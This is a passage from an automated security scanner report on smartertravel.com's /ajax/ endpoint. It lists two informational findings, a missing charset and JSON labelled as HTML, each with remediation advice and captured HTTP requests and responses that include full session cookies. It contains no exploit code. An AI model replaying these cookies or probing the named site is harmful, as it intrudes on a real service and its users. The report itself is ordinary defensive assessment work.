Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22Dallas%2C%20TX%20(DFW)%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; iploc=Dallas, TX (DFW)
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Fri, 06 Jan 2012 05:00:00 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 588
Content-Type: application/json
Date: Sat, 07 Jan 2012 14:06:01 GMT
Connection: close
Set-Cookie: pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; expires=Mon, 06-Feb-2012 14:06:01 GMT; path=/; domain=.smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=smartertravel.com
Set-Cookie: STMUL=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com
Set-Cookie: at=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com
Set-Cookie: ui=deleted; expires=Fri, 07-Jan-2011 14:06:00 GMT; path=/; domain=.smartertravel.com

[{"type":"element_update","element_id":"gx4phw5w","html":"<div class=\"type_checkbox\">\n\t<input id=\"sub_to_dep\" type=\"checkbox\" name=\"sub_to_dep\" value=\"true\"\n\t\t \/>\n\t<label for=\"su
...[SNIP]...

5. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.smartertravel.com
Path:   /ajax/

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyze the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognized character set, for example charset=ISO-8859-1.

Request

GET /ajax/?service=LocationSuggest.ip&args=%7B%22type%22%3A%22airport%22%7D HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Fri, 06 Jan 2012 10:19:00 GMT
ETag: 8b1d852457eb2b1eb22541711a5854519dfdddce90f8f4185bd9a6fbf4f3157120120107
Vary: Accept-Encoding,User-Agent
Content-Length: 48
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:40 GMT
Connection: close

{"iplocation":"Dallas, TX (DFW)","country":"US"}

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.smartertravel.com
Path:   /ajax/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyze the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /ajax/?service=LocationSuggest.ip&args=%7B%22type%22%3A%22airport%22%7D HTTP/1.1
Host: www.smartertravel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.smartertravel.com/
Cookie: STM=d56a05a1903e5593f54dc48c65bd14e4fffdbf661ee9fb73585124c8ac432e5cfce269e5ff06d2ec76c2f01e803c0b4e36b04fd6f6c464c087d6654fe99b55e0; vid=4f08511b019541.22251852; uu=97710699-a183-4730-8a2c-b75bffd5c7d5; pb_st691=a0ad6ae807dc75606793dddd9a560b04a%3A1%3A%7Bs%3A5%3A%22st691%22%3Bs%3A7%3A%22st691_a%22%3B%7D; entry_time=time; o_prvchan=Home+Page; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|278428938515B2F3-60000174C0016B6F[CE]; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22%22%2C%22c2%22%3A%22%22%2C%22d1%22%3A1327730400000%2C%22d2%22%3A1328421600000%2C%22ntrv%22%3A%221%22%2C%22c3%22%3A%22Alaska%22%2C%22clin%22%3A%22Any%20Length%22%2C%22d3%22%3A%222012-01-06%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D
Content-Length: 10


Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Fri, 06 Jan 2012 10:19:00 GMT
ETag: 8b1d852457eb2b1eb22541711a5854519dfdddce90f8f4185bd9a6fbf4f3157120120107
Vary: Accept-Encoding,User-Agent
Content-Length: 48
Content-Type: text/html
Date: Sat, 07 Jan 2012 14:05:40 GMT
Connection: close

{"iplocation":"Dallas, TX (DFW)","country":"US"}

Report generated by HTI at Sat Sep 01 09:29:50 EDT 2012.